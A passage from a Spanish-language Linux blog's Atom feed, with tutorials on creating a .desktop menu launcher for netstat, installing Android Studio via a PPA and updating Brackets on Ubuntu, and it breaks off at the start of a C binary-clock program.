1.Primero debemos saber que estos archivos se guardan en esta ruta:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;/usr/share/applications&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Así que vamos a esa ruta con cd desde una terminal:&lt;br /&gt;
&lt;br /&gt;
En terminal:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cd /usr/share/applications&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora vamos a crear un archivo que abrirá netstat,desde un icono en el menu en mi caso uso KDE:&lt;br /&gt;
&lt;br /&gt;
Creamos un archivo llamado netstatejemplo.desktop&lt;br /&gt;
&lt;br /&gt;
En terminal:&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo nano&amp;nbsp;netstatejemplo.desktop&lt;/b&gt;&lt;/blockquote&gt;
Ahora vamos a conocer la estructura de los archivos .desktop:&lt;br /&gt;
&lt;br /&gt;
Los comentarios comienzan con un hash # igual que en bash.&lt;br /&gt;
&lt;br /&gt;
En segundo lugar debemos añadir un&amp;nbsp;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;b&gt;groupname&lt;/b&gt;,el cual va&amp;nbsp;encerrado&amp;nbsp;en corchetes,en el uso mas frecuente y en este&amp;nbsp;tutorial se debe usar&amp;nbsp;&lt;/span&gt;&lt;b&gt;Desktop Entry&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Y por ultimo saber que el archivo este codificado en&amp;nbsp;&amp;nbsp;UTF-8.&lt;br /&gt;
&lt;br /&gt;
Ahora vamos a crear el archivo,el archivo se compone de lineas de configuración clave,valor como variables,las mas comunes para crear un archivo mínimo son:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Name&lt;/b&gt; : El nombre de la aplicación como aparecerá en el menu.&lt;br /&gt;
&lt;b&gt;Type&lt;/b&gt; : El tipo de entrada,en este caso &lt;b&gt;Application ,&lt;/b&gt;&amp;nbsp;tambien existe&amp;nbsp;&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;Directory y Link&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;Exec&lt;/b&gt; : El ejecutable,ruta absoluta.&lt;br /&gt;
&lt;b&gt;Terminal&lt;/b&gt; : Valor booleano false o true para saber si se ejecutara en terminal&lt;br /&gt;
&lt;b&gt;Icon&lt;/b&gt; : El icono mostrado en el menu,ruta absoluta.&lt;br /&gt;
&lt;b&gt;NoDisplay&lt;/b&gt;: No mostrar,un booleano para ocultar la aplicacion aunque exista.&lt;br /&gt;
&lt;b&gt;Categories&lt;/b&gt;: Sub menus donde se añadira,por ejemplo desarrollo,multimedia.&lt;br /&gt;
&lt;b&gt;Comment&lt;/b&gt; : Es el tooltip que aparece en el icono(Texto al pasar el puntero sobre el icono,por ejemplo una descripción).&lt;br /&gt;
&lt;br /&gt;
Tambien existen:&lt;br /&gt;
&lt;br /&gt;
GenericName,&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;Version,&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;Hidden,&lt;/span&gt;OnlyShowIn,NotShowIn&lt;code class=&quot;varname&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;,&lt;/span&gt;&lt;/code&gt;&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;DBusActivatable,&lt;/span&gt;&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;TryExec,Path.&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;background-color: white; font-family: monospace;&quot;&gt;&lt;br /&gt;
&lt;/span&gt; &lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;De hecho solo son necesarios dos variables,pero en nuestro ejemplo y regularmente en la&amp;nbsp;mayoría&amp;nbsp;de los casos solo se&amp;nbsp;necesitan&amp;nbsp;los mencionados primero.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;
&lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt; &lt;span style=&quot;font-family: monospace;&quot;&gt;&lt;span style=&quot;background-color: white;&quot;&gt;&lt;br /&gt;
&lt;/span&gt;&lt;/span&gt; Asi nos queda nuestro lanzador de netstat:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;[&lt;span style=&quot;background-color: white;&quot;&gt;D&lt;/span&gt;esktop Entry&lt;/b&gt;]&lt;br /&gt;
&lt;b&gt;Name=Netstat&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Type=Application&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;# Buscar ejecutable con which netstat&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Exec=/bin/netstat&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Terminal=true&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;NoDisplay=false&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Categories=Network&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Comment=Muestra conexiones de red, tablas de encaminamiento, estadísticas de interfaces, conexiones enmascaradas y mensajes del&amp;nbsp;tipo netlink.&lt;/b&gt;&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Guardamos : &lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;o&lt;/kbd&gt;&lt;/div&gt;
&lt;br /&gt;
Salimos :&lt;kbd&gt;ctrl&lt;/kbd&gt;+&lt;kbd&gt;x&lt;/kbd&gt;&lt;br /&gt;
&lt;br /&gt;
Y instalamos,con este comando nos dirá si hay algún error:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;sudo desktop-file-install &amp;nbsp;/usr/share/applications/netstatejemplo.desktop&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Si lo hacemos de esa manera lo abrira pero despues lo cerrara debemos cambiar el exec por:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;Exec=bash -c &quot;/bin/netstat;read&quot;&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
Cerramos con enter.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTMrJbzH2mj6NkdGUjHiL63RKK2iauOAoxUrOilz6pZdWs9GKPNcrbMYLhmlfgSStMRXP453BXEGQhwshDtHfjmlhwU9b-T9IRYGpOPa16_K-FbdLHwUUNrrwThFHDAGwH4a5U9CKwZ_wZ/s1600/crear++iconos+linux.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTMrJbzH2mj6NkdGUjHiL63RKK2iauOAoxUrOilz6pZdWs9GKPNcrbMYLhmlfgSStMRXP453BXEGQhwshDtHfjmlhwU9b-T9IRYGpOPa16_K-FbdLHwUUNrrwThFHDAGwH4a5U9CKwZ_wZ/s1600/crear++iconos+linux.png&quot; height=&quot;256&quot; width=&quot;400&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Categorías de menu :&amp;nbsp;&lt;a href=&quot;http://standards.freedesktop.org/menu-spec/menu-spec-1.0.html&quot; target=&quot;_blank&quot;&gt;http://standards.freedesktop.org/menu-spec/menu-spec-1.0.html&lt;/a&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Referencia y mas información : &lt;a href=&quot;http://standards.freedesktop.org/desktop-entry-spec/latest/ar01s02.html&quot; target=&quot;_blank&quot;&gt;http://standards.freedesktop.org/desktop-entry-spec/latest/ar01s02.html&lt;/a&gt;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/4951935120669173380/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-anadir-programas-al-menu-de.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4951935120669173380'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/4951935120669173380'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-anadir-programas-al-menu-de.html' title='Como añadir programas al menu de GNU/Linux'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgTMrJbzH2mj6NkdGUjHiL63RKK2iauOAoxUrOilz6pZdWs9GKPNcrbMYLhmlfgSStMRXP453BXEGQhwshDtHfjmlhwU9b-T9IRYGpOPa16_K-FbdLHwUUNrrwThFHDAGwH4a5U9CKwZ_wZ/s72-c/crear++iconos+linux.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-1369841723126418877</id><published>2015-01-12T13:40:00.000-06:00</published><updated>2015-01-12T13:40:09.364-06:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="android"/><category scheme="http://www.blogger.com/atom/ns#" term="como instalar"/><category scheme="http://www.blogger.com/atom/ns#" term="ide"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="ubuntu"/><title type='text'>Como instalar Android Studio en Ubuntu</title><content type='html'>Android Studio sigue avanzando y lo mas seguro es que remplace a eclipse y su plugin para el desarrollo android,yo en lo personal me gusta mas eclipse(por la costumbre),pero aun así es buena practica probar las distintas manera de desarrollar en este caso para Android,así que vamos a instalarlo en Ubuntu,en mi caso la version 14.04.&lt;br /&gt;
&lt;br /&gt;
Primero arbrimos una terminal:&lt;br /&gt;
&lt;br /&gt;
&lt;kbd&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/kbd&gt; + &lt;kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;/kbd&gt;&lt;br /&gt;
&lt;br /&gt;
Ahora añadimos el ppa de Android Studio:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo add-apt-repository ppa:paolorotolo/android-studio&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Actualizamos los repos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get update&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Y finalmente instalamos:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo apt-get install android-studio&lt;/b&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Este paquete es un poco extraño ya que no es android studio en si,sino que es un instalador,un pequeño script que instala el paquete original guardado en,por ejemplo:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;&amp;nbsp;https://dl.google.com/dl/android/studio/ide-zips/1.0.1/android-studio-ide-$&lt;span style=&quot;color: red;&quot;&gt;VERSION&lt;/span&gt;-linux.zip&lt;/b&gt;&lt;/blockquote&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Lo descarga con wget,lo mueve a /opt y crea lo necesario para que se muestre en el menu de aplicaciones y el sistema.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Cuando termine lo podremos ejecutar:&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbKvDugtW6HCHL7VXdYIfMB3-EW8Xo4JsDTWx-LVmDVO53hCVxxe0xzYvA22kYMvkg6L52tTPXDTKvQTSe-lRJeRhLAsu4a9fO1wQ8VCxmPMT7-4yKqR_FmngUzEeUK8-9Ro5IEwG7YVoz/s1600/android-studio-ubuntu.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbKvDugtW6HCHL7VXdYIfMB3-EW8Xo4JsDTWx-LVmDVO53hCVxxe0xzYvA22kYMvkg6L52tTPXDTKvQTSe-lRJeRhLAsu4a9fO1wQ8VCxmPMT7-4yKqR_FmngUzEeUK8-9Ro5IEwG7YVoz/s1600/android-studio-ubuntu.png&quot; height=&quot;240&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJbiRiRTonHec7V5raNyhyTvQtaLznGIQ5lrN4e5tUFfNRBw1ualefOPW-kwQ1hejwBo-6oQeeNu0FiDV-uASLxmLglp1qvN1S_nVuDYR7n_G-jlgj0jwkAkU96GzjSbLbO1oSddQ87eR3/s1600/android-studio-ubuntu1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJbiRiRTonHec7V5raNyhyTvQtaLznGIQ5lrN4e5tUFfNRBw1ualefOPW-kwQ1hejwBo-6oQeeNu0FiDV-uASLxmLglp1qvN1S_nVuDYR7n_G-jlgj0jwkAkU96GzjSbLbO1oSddQ87eR3/s1600/android-studio-ubuntu1.png&quot; height=&quot;173&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
Eso es todo.&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;script async=&quot;&quot; src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;!-- Banner arriba --&gt;&lt;br /&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5807640553894844&quot; data-ad-slot=&quot;8358389402&quot; style=&quot;display: inline-block; height: 60px; width: 468px;&quot;&gt;&lt;/ins&gt;&lt;br /&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/1369841723126418877/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-instalar-android-studio-en-ubuntu.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1369841723126418877'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1369841723126418877'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-instalar-android-studio-en-ubuntu.html' title='Como instalar Android Studio en Ubuntu'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjbKvDugtW6HCHL7VXdYIfMB3-EW8Xo4JsDTWx-LVmDVO53hCVxxe0xzYvA22kYMvkg6L52tTPXDTKvQTSe-lRJeRhLAsu4a9fO1wQ8VCxmPMT7-4yKqR_FmngUzEeUK8-9Ro5IEwG7YVoz/s72-c/android-studio-ubuntu.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-1477101361593802339</id><published>2015-01-12T12:42:00.000-06:00</published><updated>2015-01-12T12:42:40.079-06:00</updated><title type='text'>Como actualizar Brackets Ubuntu 14.04</title><content type='html'>Si revisan  en donde dice Ayuda-&amp;gt;Buscar Actualizaciones se daran cuenta que hay una nueva version,si les aparece esto es que no:&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaNnQcvwLZvGnmdSbOokZ4F-w2TYov79pB9qRuLfh_9e4bpEYDv07LcxZ0P1Mob5yud7TyZ4y7GUE8BFtPY_2NAaq-bGrihWzrxovUBThC_aqrW3SRVfdS6uyE__Wy5vJVBsZ9mJNggJNf/s1600/brackets_update.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaNnQcvwLZvGnmdSbOokZ4F-w2TYov79pB9qRuLfh_9e4bpEYDv07LcxZ0P1Mob5yud7TyZ4y7GUE8BFtPY_2NAaq-bGrihWzrxovUBThC_aqrW3SRVfdS6uyE__Wy5vJVBsZ9mJNggJNf/s1600/brackets_update.png&quot; height=&quot;91&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Pero si no les aparecerá otra ventana &amp;nbsp;y hay que actualizar para tener lo mas nuevo que provee este editor.&lt;br /&gt;
&lt;br /&gt;
Para ello vamos a la pagina de descara:&lt;br /&gt;
&lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;a href=&quot;http://brackets.io/&quot; target=&quot;_blank&quot;&gt;&lt;b&gt;http://brackets.io/&lt;/b&gt;&lt;/a&gt;&lt;/blockquote&gt;
&lt;br /&gt;
Ahora le dan decargar,debe ser un archivo .deb.&lt;br /&gt;
&lt;br /&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4WR9khG_LEOaJ_RVkCGzWTuBLgyV3t3pWI7rDg0tMwLSCnQuB75svdHDS9Kza17XM3RkyqZ92HYOAQUi98LLNPaazvbIH2IpY97IscLtXl3c95bzMxieqmRKS3OB8PovLC8gFa966-XrO/s1600/brackets_update1.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi4WR9khG_LEOaJ_RVkCGzWTuBLgyV3t3pWI7rDg0tMwLSCnQuB75svdHDS9Kza17XM3RkyqZ92HYOAQUi98LLNPaazvbIH2IpY97IscLtXl3c95bzMxieqmRKS3OB8PovLC8gFa966-XrO/s1600/brackets_update1.png&quot; /&gt;&lt;/a&gt;&lt;/div&gt;
&lt;br /&gt;
Ahora lo que debemos hacer es abrir una terminal donde se descargo el archivo:&lt;br /&gt;
&lt;br /&gt;
Abrimos la terminal:&lt;br /&gt;
&lt;br /&gt;
&lt;kbd&gt;&lt;kbd&gt;ctrl&lt;/kbd&gt; + &lt;kbd&gt;Alt&lt;/kbd&gt;&lt;/kbd&gt; + &lt;kbd&gt;&lt;kbd&gt;T&lt;/kbd&gt;&lt;/kbd&gt;&lt;br /&gt;
&lt;br /&gt;
Vamos a la ruta de descarga,normalmente es &lt;b&gt;Descargas &lt;/b&gt;tecleamos en terminal&lt;b&gt;:&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;cd ~/Descargas&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Y instalamos:&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;br /&gt;
&lt;blockquote class=&quot;tr_bq&quot;&gt;
&lt;b&gt;sudo dpkg -i Brackets.*&lt;/b&gt;&lt;/blockquote&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; Esperamos y listo :D&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Abrimos el programa le damos al icono de extensiones y actualizamos las que lo necesiten.&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;div align=&quot;center&quot;&gt;
&lt;script async=&quot;&quot; src=&quot;//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js&quot;&gt;&lt;/script&gt;&lt;br /&gt;
&lt;!-- Banner arriba --&gt;&lt;br /&gt;
&lt;ins class=&quot;adsbygoogle&quot; data-ad-client=&quot;ca-pub-5807640553894844&quot; data-ad-slot=&quot;8358389402&quot; style=&quot;display: inline-block; height: 60px; width: 468px;&quot;&gt;&lt;/ins&gt;&lt;br /&gt;
&lt;script&gt;
(adsbygoogle = window.adsbygoogle || []).push({});
&lt;/script&gt;&lt;br /&gt;&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='http://itimetux.blogspot.com/feeds/1477101361593802339/comments/default' title='Comentarios de la entrada'/><link rel='replies' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-actualizar-brackets-ubuntu-1404.html#comment-form' title='0 Comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1477101361593802339'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9085393751486294591/posts/default/1477101361593802339'/><link rel='alternate' type='text/html' href='http://itimetux.blogspot.com/2015/01/como-actualizar-brackets-ubuntu-1404.html' title='Como actualizar Brackets Ubuntu 14.04'/><author><name>Anonymous</name><uri>http://www.blogger.com/profile/09026194756509249762</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhaNnQcvwLZvGnmdSbOokZ4F-w2TYov79pB9qRuLfh_9e4bpEYDv07LcxZ0P1Mob5yud7TyZ4y7GUE8BFtPY_2NAaq-bGrihWzrxovUBThC_aqrW3SRVfdS6uyE__Wy5vJVBsZ9mJNggJNf/s72-c/brackets_update.png" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9085393751486294591.post-991209518096594952</id><published>2014-10-17T13:45:00.000-05:00</published><updated>2014-10-17T13:46:17.859-05:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="binario"/><category scheme="http://www.blogger.com/atom/ns#" term="C"/><category scheme="http://www.blogger.com/atom/ns#" term="linux"/><category scheme="http://www.blogger.com/atom/ns#" term="programación"/><category scheme="http://www.blogger.com/atom/ns#" term="reloj"/><category scheme="http://www.blogger.com/atom/ns#" term="shell"/><title type='text'>[Shell] Reloj binario en C</title><content type='html'>Esta ocasión crearemos un reloj binario en C,en el entorno de escritorio KDE,contamos con un reloj binario como &lt;b&gt;applet&lt;/b&gt;,me imagine como programar uno y mas adelante colocare el código.&lt;br /&gt;
&lt;br /&gt;
En primer lugar debemos saber como leerlo,en esta ocasión el reloj se basa en cuatro bits,representados por 1 y 0 como realmente se hace,para el bit activo usamos 1 y para el bit apagado usamos 0,el reloj esta representado en formato de 24 horas y cada hora es un &lt;b&gt;Byte&lt;/b&gt; de 4 bits un &lt;b&gt;nibble&lt;/b&gt;.&lt;br /&gt;
&lt;br /&gt;
Veamos la notación,por ejemplo las 5 de la tarde es 17 en formato de 24 horas,ahora vamos a dividir los números de uno en uno y nos queda 1 y 7,representados en binario son:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1 = 0001&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;7 = 0111&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bien la lectura binaria la podemos traducir asi de la forma mas fácil,imaginemos que los numero de arriba corresponden a una potencia de 2,comensando por el 1 y luego el 2 mismo,en nuestro caso cuatro bits:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;8 4 2 1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Ahora abajo de esos numero colocamos el 0 o 1 que estén activados para que la suma de el numero en notación decimal,por ejemplo 1 y 7:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;bits : 8 &amp;nbsp; 4 &amp;nbsp; 2 &amp;nbsp; 1&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;1 &amp;nbsp;= &amp;nbsp; 0 &amp;nbsp; 0 &amp;nbsp; 0 &amp;nbsp; 1&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;7 &amp;nbsp;= &amp;nbsp; 0 &amp;nbsp; 1 &amp;nbsp; 1 &amp;nbsp; 1&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bien ahora sumamos los bits que están activos:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;1 = 0+0+0+1 = 1 en decimal&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;&lt;br /&gt;
&lt;/b&gt; &lt;b&gt;7 = 0+4+2+1 = 7 en decimal&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
Bien eso es todo ahora si el código,el código cuenta con 6 numero en notación binaria,2 para la hora 2 para los minutos y dos para los segundos:&lt;br /&gt;
&lt;br /&gt;
El código se basa en programación funcional &amp;nbsp;y llamamos las funciones una a una en el main.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;!-- HTML generated using hilite.me --&gt;&lt;br /&gt;
&lt;div style=&quot;background: #ffffff; border-width: .1em .1em .1em .8em; border: solid gray; overflow: auto; padding: .2em .6em; width: auto;&quot;&gt;&lt;table&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181&lt;/pre&gt;&lt;/td&gt;&lt;td&gt;&lt;pre style=&quot;line-height: 125%; margin: 0;&quot;&gt;&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;stdio.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;time.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;string.h&amp;gt;&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#include &amp;lt;stdlib.h&amp;gt;&lt;/span&gt;

&lt;span style=&quot;color: #888888;&quot;&gt;/*&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Archivo : relojbinario.c&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; * Compila : gcc -o relojbinario relojbinario.c&lt;/span&gt;
&lt;span style=&quot;color: #888888;&quot;&gt; */&lt;/span&gt;


&lt;span style=&quot;color: #557799;&quot;&gt;#define BUF_TIME 60&lt;/span&gt;
&lt;span style=&quot;color: #557799;&quot;&gt;#define BITS 4&lt;/span&gt;

